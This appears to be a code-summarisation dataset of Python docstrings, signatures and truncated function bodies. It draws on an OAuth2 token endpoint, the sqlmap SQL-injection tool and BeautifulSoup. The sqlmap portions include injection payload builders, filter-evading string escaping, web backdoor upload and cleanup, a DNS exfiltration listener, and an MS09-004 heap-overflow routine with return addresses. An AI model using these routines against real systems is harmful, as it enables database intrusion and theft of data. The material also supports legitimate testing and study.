desc stringlengths 3 26.7k | decl stringlengths 11 7.89k | bodies stringlengths 8 553k |
|---|---|---|
'Return the refresh token associated with this request or an error dict.
:return: ``tuple`` - ``(True or False, token or error_dict)``'
| def get_refresh_token_grant(self, request, data, client):
| raise NotImplementedError
|
'Return a user associated with this request or an error dict.
:return: ``tuple`` - ``(True or False, user or error_dict)``'
| def get_password_grant(self, request, data, client):
| raise NotImplementedError
|
'Override to handle fetching of an existing access token.
:return: ``object`` - Access token'
| def get_access_token(self, request, user, scope, client):
| raise NotImplementedError
|
'Override to handle access token creation.
:return: ``object`` - Access token'
| def create_access_token(self, request, user, scope, client):
| raise NotImplementedError
|
'Override to handle refresh token creation.
:return: ``object`` - Refresh token'
| def create_refresh_token(self, request, user, scope, access_token, client):
| raise NotImplementedError
|
'Override to handle grant invalidation. A grant is invalidated right
after creating an access token from it.
:return None:'
| def invalidate_grant(self, grant):
| raise NotImplementedError
|
'Override to handle refresh token invalidation. When requesting a new
access token from a refresh token, the old one is *always* invalidated.
:return None:'
| def invalidate_refresh_token(self, refresh_token):
| raise NotImplementedError
|
'Override to handle access token invalidation. When a new access token
is created from a refresh token, the old one is *always* invalidated.
:return None:'
| def invalidate_access_token(self, access_token):
| raise NotImplementedError
|
'Return an error response to the client with default status code of
*400* stating the error as outlined in :rfc:`5.2`.'
| def error_response(self, error, mimetype='application/json', status=400, **kwargs):
| return HttpResponse(json.dumps(error), mimetype=mimetype, status=status, **kwargs)
|
'Returns a successful response after creating the access token
as defined in :rfc:`5.1`.'
| def access_token_response(self, access_token):
| response_data = {'access_token': access_token.token, 'token_type': constants.TOKEN_TYPE, 'expires_in': access_token.get_expire_delta(), 'scope': ' '.join(scope.names(access_token.scope))}
try:
rt = access_token.refresh_token
response_data['refresh_token'] = rt.token
except ObjectDoesNotEx... |
'Handle ``grant_type=authorization_code`` requests as defined in
:rfc:`4.1.3`.'
| def authorization_code(self, request, data, client):
| grant = self.get_authorization_code_grant(request, request.POST, client)
if constants.SINGLE_ACCESS_TOKEN:
at = self.get_access_token(request, grant.user, grant.scope, client)
else:
at = self.create_access_token(request, grant.user, grant.scope, client)
rt = self.create_refresh_token... |
'Handle ``grant_type=refresh_token`` requests as defined in :rfc:`6`.'
| def refresh_token(self, request, data, client):
| rt = self.get_refresh_token_grant(request, data, client)
self.invalidate_refresh_token(rt)
self.invalidate_access_token(rt.access_token)
at = self.create_access_token(request, rt.user, rt.access_token.scope, client)
rt = self.create_refresh_token(request, at.user, at.scope, at, client)
return se... |
'Handle ``grant_type=password`` requests as defined in :rfc:`4.3`.'
| def password(self, request, data, client):
| data = self.get_password_grant(request, data, client)
user = data.get('user')
scope = data.get('scope')
if constants.SINGLE_ACCESS_TOKEN:
at = self.get_access_token(request, user, scope, client)
else:
at = self.create_access_token(request, user, scope, client)
if (client.clie... |
'Return a function or method that is capable handling the ``grant_type``
requested by the client or return ``None`` to indicate that this type
of grant type is not supported, resulting in an error response.'
| def get_handler(self, grant_type):
| if (grant_type == 'authorization_code'):
return self.authorization_code
elif (grant_type == 'refresh_token'):
return self.refresh_token
elif (grant_type == 'password'):
return self.password
return None
|
'As per :rfc:`3.2` the token endpoint *only* supports POST requests.
Returns an error response.'
| def get(self, request):
| return self.error_response({'error': 'invalid_request', 'error_description': _('Only POST requests allowed.')})
|
'As per :rfc:`3.2` the token endpoint *only* supports POST requests.'
| def post(self, request):
| if (constants.ENFORCE_SECURE and (not request.is_secure())):
return self.error_response({'error': 'invalid_request', 'error_description': _('A secure connection is required.')})
if (not ('grant_type' in request.POST)):
return self.error_response({'error': 'invalid_request', 'error_de... |
'Resets thread data model'
| def reset(self):
| self.disableStdOut = False
self.hashDBCursor = None
self.inTransaction = False
self.lastCode = None
self.lastComparisonPage = None
self.lastComparisonHeaders = None
self.lastComparisonCode = None
self.lastComparisonRatio = None
self.lastErrorPage = None
self.lastHTTPError = None
... |
'Write an .ini-format representation of the configuration state.'
| def write(self, fp):
| if self._defaults:
fp.write(('[%s]\n' % DEFAULTSECT))
for (key, value) in self._defaults.items():
fp.write(('%s = %s\n' % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n DCTB '))))
fp.write('\n')
for section in self._sections:
fp.write(('[%s]\n' % se... |
'Format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}'
| @staticmethod
def getDbms(versions=None):
| if ((versions is None) and Backend.getVersionList()):
versions = Backend.getVersionList()
return (Backend.getDbms() if (versions is None) else ('%s %s' % (Backend.getDbms(), ' and '.join(filter(None, versions)))))
|
'Parses the knowledge base htmlFp list and return its values
formatted as a human readable string.
@return: list of possible back-end DBMS based upon error messages
parsing.
@rtype: C{str}'
| @staticmethod
def getErrorParsedDBMSes():
| htmlParsed = None
if ((len(kb.htmlFp) == 0) or (kb.heuristicTest != HEURISTIC_TEST.POSITIVE)):
pass
elif (len(kb.htmlFp) == 1):
htmlParsed = kb.htmlFp[0]
elif (len(kb.htmlFp) > 1):
htmlParsed = ' or '.join(kb.htmlFp)
return htmlParsed
|
'Formats the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
\'distrib\': set([\'Ubuntu\']),
\'type\': set([\'Linux\']),
\'technology\': set([\'PHP 5.2.6\', \'Apache 2.2.9\']),
\'release\': set([\'8.10\'])
Example of info... | @staticmethod
def getOs(target, info):
| infoStr = ''
infoApi = {}
if (info and ('type' in info)):
if conf.api:
infoApi[('%s operating system' % target)] = info
else:
infoStr += ('%s operating system: %s' % (target, Format.humanize(info['type'])))
if ('distrib' in info):
... |
'Returns array with parsed DBMS names till now
This functions is called to:
1. Ask user whether or not skip specific DBMS tests in detection phase,
lib/controller/checks.py - detection phase.
2. Sort the fingerprint of the DBMS, lib/controller/handler.py -
fingerprint phase.'
| @staticmethod
def getErrorParsedDBMSes():
| return (kb.htmlFp if (kb.get('heuristicTest') == HEURISTIC_TEST.POSITIVE) else [])
|
'This functions is called to:
1. Sort the tests, getSortedInjectionTests() - detection phase.
2. Etc.'
| @staticmethod
def getIdentifiedDbms():
| dbms = None
if (not kb):
pass
elif ((not kb.get('testMode')) and conf.get('dbmsHandler') and getattr(conf.dbmsHandler, '_dbms', None)):
dbms = conf.dbmsHandler._dbms
elif (Backend.getForcedDbms() is not None):
dbms = Backend.getForcedDbms()
elif (Backend.getDbms() is not None... |
'This method replaces the affected parameter with the SQL
injection statement to request'
| def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
| if conf.direct:
return self.payloadDirect(newValue)
retVal = ''
if kb.forceWhere:
where = kb.forceWhere
elif ((where is None) and isTechniqueAvailable(kb.technique)):
where = kb.injection.data[kb.technique].where
if (kb.injection.place is not None):
place = kb.injecti... |
'This method defines how the input expression has to be escaped
to perform the injection depending on the injection type
identified as valid'
| def prefixQuery(self, expression, prefix=None, where=None, clause=None):
| if conf.direct:
return self.payloadDirect(expression)
if (expression is None):
return None
expression = self.cleanupPayload(expression)
expression = unescaper.escape(expression)
query = None
if ((where is None) and kb.technique and (kb.technique in kb.injection.data)):
wh... |
'This method appends the DBMS comment to the
SQL injection request'
| def suffixQuery(self, expression, comment=None, suffix=None, where=None):
| if conf.direct:
return self.payloadDirect(expression)
if (expression is None):
return None
expression = self.cleanupPayload(expression)
suffix = (kb.injection.suffix if (kb.injection and (suffix is None)) else suffix)
if (kb.technique and (kb.technique in kb.injection.data)):
... |
'Returns payload with a replaced late tags (e.g. SLEEPTIME)'
| def adjustLateValues(self, payload):
| if payload:
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
for _ in set(re.findall('\\[RANDNUM(?:\\d+)?\\]', payload, re.I)):
payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall('\\[RANDSTR(?:\\d+)?\\]', payload, re.I)):
payload = p... |
'Returns comment form for the given request'
| def getComment(self, request):
| return (request.comment if ('comment' in request) else '')
|
'Returns hex converted field string'
| def hexConvertField(self, field):
| rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if ('hex' in rootQuery):
hexField = (rootQuery.hex.query % field)
else:
warnMsg = ("switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms())
singleTimeWarnMessage... |
'Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), \' \')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), \' \')
PostgreSQL sco... | def nullAndCastField(self, field):
| nulledCastedField = field
if field:
rootQuery = queries[Backend.getIdentifiedDbms()]
if (field.startswith('(CASE') or field.startswith('(IIF') or conf.noCast):
nulledCastedField = field
else:
if (not (Backend.isDbms(DBMS.SQLITE) and (not isDBMSVersionAtLeast('3'))... |
'Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), \' \'),\'UWciUe\',IFNULL(CAST(password AS CHAR(10000)), \' \')
MySQL scope: SELECT user, password FROM mysql.user
Post... | def nullCastConcatFields(self, fields):
| if (not Backend.getIdentifiedDbms()):
return fields
if (fields.startswith('(CASE') or fields.startswith('(IIF') or fields.startswith('SUBSTR') or fields.startswith('MID(') or re.search("\\A'[^']+'\\Z", fields)):
nulledCastedConcatFields = fields
else:
fieldsSplitted = splitFields(fie... |
'Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}'
| def getFields(self, query):
| prefixRegex = '(?:\\s+(?:FIRST|SKIP|LIMIT(?: \\d+)?)\\s+\\d+)*'
fieldsSelectTop = re.search('\\ASELECT\\s+TOP\\s+[\\d]+\\s+(.+?)\\s+FROM', query, re.I)
fieldsSelectRownum = re.search('\\ASELECT\\s+([^()]+?),\\s*ROWNUM AS LIMIT FROM', query, re.I)
fieldsSelectDistinct = re.search(('\\ASELECT%... |
'Does a field preprocessing (if needed) based on its type (e.g. image to text)
Note: used primarily in dumping of custom tables'
| def preprocessField(self, table, field):
| retVal = field
if (conf.db and table and (conf.db in table)):
table = table.split(conf.db)[(-1)].strip('.')
try:
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
for (name, type_) in columns.items():
if (type_ a... |
'Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT(\'mMvPxc\',IFNULL(CAST(user AS CHAR(10000)), \' \'),\'nXlgnR\',IFNULL(CAST(password AS CHAR(10000)), \' \'),\'YnCzLl\') FROM mysql.user
... | def concatQuery(self, query, unpack=True):
| if unpack:
concatenatedQuery = ''
query = query.replace(', ', ',')
(fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists) = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concat... |
'Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL ... | def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
| if conf.uFrom:
fromTable = (' FROM %s' % conf.uFrom)
elif (not fromTable):
if kb.tableFrom:
fromTable = (' FROM %s' % kb.tableFrom)
else:
fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), '')
if query.startswith('SELECT '):
q... |
'Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list... | def limitQuery(self, num, query, field=None, uniqueField=None):
| if (' FROM ' not in query):
return query
limitedQuery = query
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
fromIndex = limitedQuery.index(' FROM ')
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[(fromIndex + 1):]
orderBy = None
if (Backend... |
'Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), \'@\', 1)) LIMIT 0, 1)=\'Y\'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), \'@\', 1)) LIMI... | def forgeCaseStatement(self, expression):
| caseExpression = expression
if (Backend.getIdentifiedDbms() is not None):
caseExpression = (queries[Backend.getIdentifiedDbms()].case.query % expression)
if (('(IIF' not in caseExpression) and (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE) and (not caseExpression.upper().endswith(FROM_DUMMY_T... |
'Adds payload delimiters around the input string'
| def addPayloadDelimiters(self, value):
| return (('%s%s%s' % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) if value else value)
|
'Removes payload delimiters from inside the input string'
| def removePayloadDelimiters(self, value):
| return (value.replace(PAYLOAD_DELIMITER, '') if value else value)
|
'Extracts payload from inside of the input string'
| def extractPayload(self, value):
| _ = re.escape(PAYLOAD_DELIMITER)
return extractRegexResult(('(?s)%s(?P<result>.*?)%s' % (_, _)), value)
|
'Replaces payload inside the input string with a given payload'
| def replacePayload(self, value, payload):
| _ = re.escape(PAYLOAD_DELIMITER)
return (re.sub(('(?s)(%s.*?%s)' % (_, _)), ('%s%s%s' % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace('\\', '\\\\'), value) if value else value)
|
'Maps values to attributes
Only called if there *is NOT* an attribute with this name'
| def __getattr__(self, item):
| try:
return self.__getitem__(item)
except KeyError:
raise AttributeError(("unable to access item '%s'" % item))
|
'Maps attributes to values
Only if we are initialised'
| def __setattr__(self, item, value):
| if ('_AttribDict__initialised' not in self.__dict__):
return dict.__setattr__(self, item, value)
elif (item in self.__dict__):
dict.__setattr__(self, item, value)
else:
self.__setitem__(item, value)
|
'This function is used for inserting row(s) into current table.'
| def insert(self, values):
| if (len(values) == len(self.columns)):
self.execute(('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join((['?'] * len(values))))), safechardecode(values))
else:
errMsg = 'wrong number of columns used in replicating insert'
raise SqlmapValueException(err... |
'Great speed improvement can be gained by using explicit transactions around multiple inserts.
Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows'
| def beginTransaction(self):
| self.execute('BEGIN TRANSACTION')
|
'This function is used for selecting row(s) from current table.'
| def select(self, condition=None):
| _ = ('SELECT * FROM %s' % self.name)
if condition:
_ += ('WHERE %s' % condition)
return self.execute(_)
|
'This function creates Table instance with current connection settings.'
| def createTable(self, tblname, columns=None, typeless=False):
| return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless)
|
'This method connects to the target URL or proxy and returns
the target URL page content'
| @staticmethod
def getPage(**kwargs):
| start = time.time()
if (isinstance(conf.delay, (int, float)) and (conf.delay > 0)):
time.sleep(conf.delay)
if conf.offline:
return (None, None, None)
elif (conf.dummy or (conf.murphyRate and ((randomInt() % conf.murphyRate) == 0))):
if conf.murphyRate:
time.sleep((ran... |
'This method calls a function to get the target URL page content
and returns its page MD5 hash or a boolean value in case of
string match check (\'--string\' command line parameter)'
| @staticmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
| if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
if (not place):
place = (kb.injection.place or PLACE.GET)
if (not auxHeaders):
... |
'Crafts raw DNS resolution response packet'
| def response(self, resolution):
| retVal = ''
if self._query:
retVal += self._raw[:2]
retVal += '\x85\x80'
retVal += ((self._raw[4:6] + self._raw[4:6]) + '\x00\x00\x00\x00')
retVal += self._raw[12:((12 + self._raw[12:].find('\x00')) + 5)]
retVal += '\xc0\x0c'
retVal += '\x00\x01'
retVal +=... |
'Returns received DNS resolution request (if any) that has given
prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)'
| def pop(self, prefix=None, suffix=None):
| retVal = None
with self._lock:
for _ in self._requests:
if (((prefix is None) and (suffix is None)) or re.search(('%s\\..+\\.%s' % (prefix, suffix)), _, re.I)):
retVal = _
self._requests.remove(_)
break
return retVal
|
'Runs a DNSServer instance as a daemon thread (killed by program exit)'
| def run(self):
| def _():
try:
self._running = True
self._initialized = True
while True:
(data, addr) = self._socket.recvfrom(1024)
_ = DNSQuery(data)
self._socket.sendto(_.response('127.0.0.1'), addr)
with self._lock:
... |
'This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.'
| def webInit(self):
| if ((self.webBackdoorUrl is not None) and (self.webStagerUrl is not None) and (self.webApi is not None)):
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
... |
'This method updates the progress bar'
| def update(self, newAmount=0):
| if (newAmount < self._min):
newAmount = self._min
elif (newAmount > self._max):
newAmount = self._max
self._amount = newAmount
diffFromMin = float((self._amount - self._min))
percentDone = ((diffFromMin / float(self._span)) * 100.0)
percentDone = round(percentDone)
percentDon... |
'This method saves item delta time and shows updated progress bar with calculated eta'
| def progress(self, deltaTime, newAmount):
| if ((len(self._times) <= ((self._max * 3) / 100)) or (newAmount > self._max)):
eta = None
else:
midTime = (sum(self._times) / len(self._times))
midTimeWithLatest = ((midTime + deltaTime) / 2)
eta = (midTimeWithLatest * (self._max - newAmount))
self._times.append(deltaTime)
... |
'This method draws the progress bar if it has changed'
| def draw(self, eta=None):
| if (self._progBar != self._oldProgBar):
self._oldProgBar = self._progBar
dataToStdout(('\r%s %d/%d%s' % (self._progBar, self._amount, self._max, ((' ETA %s' % self._convertSeconds(int(eta))) if (eta is not None) else ''))))
if (self._amount >= self._max):
if (not con... |
'This method returns the progress bar string'
| def __str__(self):
| return getUnicode(self._progBar)
|
'Record emitted events to IPC database for asynchronous I/O
communication with the parent process'
| def emit(self, record):
| conf.databaseCursor.execute('INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)', (conf.taskid, time.strftime('%X'), record.levelname, ((record.msg % record.args) if record.args else record.msg)))
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('%s(%d)' % (('CHR' if (ord(value[i]) < 256) else 'NCHR'), ord(value[i]))) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT \'abcdefgh\' FROM foobar"'
| @staticmethod
def escape(expression, quote=True):
| return expression
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '+'.join((('%s(%d)' % (('CHAR' if (ord(value[i]) < 256) else 'TO_UNICHAR'), ord(value[i]))) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('CHR(%d)' % ord(_)) for _ in value))
excluded = {}
for _ in re.findall('DBINFO\\([^)]+\\)', expression):
excluded[_] = randomStr()
expression = expression.replace(_, excluded[_])
retVal = Syntax._escape(expression, quote, escaper)
for _ ... |
'References for fingerprint:
DATABASE_VERSION()
version 2.2.6 added two-arg REPLACE functio REPLACE(\'a\',\'a\') compared to REPLACE(\'a\',\'a\',\'d\')
version 2.2.5 added SYSTIMESTAMP function
version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions
version 2.2.0 added support for ROWNUM() function
... | def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(HSQLDB_ALIASES)):
setDbms(('%s %s' % (DBMS.HSQLDB, Backend.getVersion())))
if Backend.isVersionGreaterOrEqualThan('1.7.2'):
kb.data.has_information_schema = True
self.getBanner()
return True
infoMsg = ('testing ... |
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('CHAR(%d)' % ord(value[i])) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
* htt... | def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(MYSQL_ALIASES)):
setDbms(('%s %s' % (DBMS.MYSQL, Backend.getVersion())))
if Backend.isVersionGreaterOrEqualThan('5'):
kb.data.has_information_schema = True
self.getBanner()
return True
infoMsg = ('testing %s' %... |
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT 0x6162636465666768 FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
retVal = None
try:
retVal = ('0x%s' % binascii.hexlify(value))
except UnicodeEncodeError:
retVal = ('CONVERT(0x%s USING utf8)' % ''.join((('%.2x' % ord(_)) for _ in utf8encode(value))))
return retVal
return Syntax._escape(expressi... |
'References for fingerprint:
* http://www.sqlite.org/lang_corefunc.html
* http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions'
| def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(SQLITE_ALIASES)):
setDbms(DBMS.SQLITE)
self.getBanner()
return True
infoMsg = ('testing %s' % DBMS.SQLITE)
logger.info(infoMsg)
result = inject.checkBooleanExpression('LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
if result:
... |
'>>> from lib.core.common import Backend
>>> Backend.setVersion(\'2\')
[\'2\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT \'abcdefgh\' FROM foobar"
>>> Backend.setVersion(\'3\')
[\'3\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT CAST(X\'6162636465666768\' AS TEXT) FROM foobar"'
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return ("CAST(X'%s' AS TEXT)" % binascii.hexlify((value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value)))
retVal = expression
if isDBMSVersionAtLeast('3'):
retVal = Syntax._escape(expression, quote, escaper)
return retVal
|
'References for fingerprint:
* http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)'
| def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(PGSQL_ALIASES)):
setDbms(DBMS.PGSQL)
self.getBanner()
return True
infoMsg = ('testing %s' % DBMS.PGSQL)
logger.info(infoMsg)
result = inject.checkBooleanExpression('[RANDNUM]::int=[RANDNUM]')
if result:
infoMsg = ... |
'Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing)
e.g. SELECT 1 WHERE \'a\'!=\'a\'||\'b\' will trigger error ("argument of WHERE must be type boolean, not type text")
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT (CHR(97)||CHR(98)||CHR(99... | @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return ('(%s)' % '||'.join((('CHR(%d)' % ord(_)) for _ in value)))
return Syntax._escape(expression, quote, escaper)
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('CHR(%d)' % ord(_)) for _ in value))
return Syntax._escape(expression, quote, escaper)
|
'>>> from lib.core.common import Backend
>>> Backend.setVersion(\'2.0\')
[\'2.0\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT \'abcdefgh\' FROM foobar"
>>> Backend.setVersion(\'2.1\')
[\'2.1\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)... | @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('ASCII_CHAR(%d)' % ord(_)) for _ in value))
retVal = expression
if isDBMSVersionAtLeast('2.1'):
retVal = Syntax._escape(expression, quote, escaper)
return retVal
|
'References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420'
| def spHeapOverflow(self):
| returns = {'2003-0': '', '2003-1': ('CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)', 'CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)', 'CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)', 'CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)'... |
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '+'.join((('%s(%d)' % (('CHAR' if (ord(value[i]) < 256) else 'NCHAR'), ord(value[i]))) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'Cleanup file system and database from sqlmap create files, tables
and functions'
| def cleanup(self, onlyFileTbl=False, udfDict=None, web=False):
| if (web and self.webBackdoorFilePath):
logger.info('cleaning up the web files uploaded')
self.delRemoteFile(self.webStagerFilePath)
self.delRemoteFile(self.webBackdoorFilePath)
if ((not isStackingAvailable()) and (not conf.direct)):
return
if Backend.isOs(OS.WI... |
'Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system'
| def fileToSqlQueries(self, fcEncodedList):
| counter = 0
sqlQueries = []
for fcEncodedLine in fcEncodedList:
if (counter == 0):
sqlQueries.append(('INSERT INTO %s(%s) VALUES (%s)' % (self.fileTblName, self.tblField, fcEncodedLine)))
else:
updatedField = agent.simpleConcatenate(self.tblField, fcEncode... |
'Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system'
| def fileEncode(self, fileName, encoding, single, chunkSize=256):
| checkFile(fileName)
with open(fileName, 'rb') as f:
content = f.read()
return self.fileContentEncode(content, encoding, single, chunkSize)
|
'Cheap function to invert a hash.'
| def _invert(h):
| i = {}
for (k, v) in h.items():
i[v] = k
return i
|
'Sets up the initial relations between this element and
other elements.'
| def setup(self, parent=None, previous=None):
| self.parent = parent
self.previous = previous
self.next = None
self.previousSibling = None
self.nextSibling = None
if (self.parent and self.parent.contents):
self.previousSibling = self.parent.contents[(-1)]
self.previousSibling.nextSibling = self
|
'Destructively rips this element out of the tree.'
| def extract(self):
| if self.parent:
try:
del self.parent.contents[self.parent.index(self)]
except ValueError:
pass
lastChild = self._lastRecursiveChild()
nextElement = lastChild.next
if self.previous:
self.previous.next = nextElement
if nextElement:
nextElement.pr... |
'Finds the last element beneath this object to be parsed.'
| def _lastRecursiveChild(self):
| lastChild = self
while (hasattr(lastChild, 'contents') and lastChild.contents):
lastChild = lastChild.contents[(-1)]
return lastChild
|
'Appends the given tag to the contents of this tag.'
| def append(self, tag):
| self.insert(len(self.contents), tag)
|
'Returns the first item that matches the given criteria and
appears after this Tag in the document.'
| def findNext(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findAllNext, name, attrs, text, **kwargs)
|
'Returns all items that match the given criteria and appear
after this Tag in the document.'
| def findAllNext(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.nextGenerator, **kwargs)
|
'Returns the closest sibling to this Tag that matches the
given criteria and appears after this Tag in the document.'
| def findNextSibling(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findNextSiblings, name, attrs, text, **kwargs)
|
'Returns the siblings of this Tag that match the given
criteria and appear after this Tag in the document.'
| def findNextSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.nextSiblingGenerator, **kwargs)
|
'Returns the first item that matches the given criteria and
appears before this Tag in the document.'
| def findPrevious(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs)
|
'Returns all items that match the given criteria and appear
before this Tag in the document.'
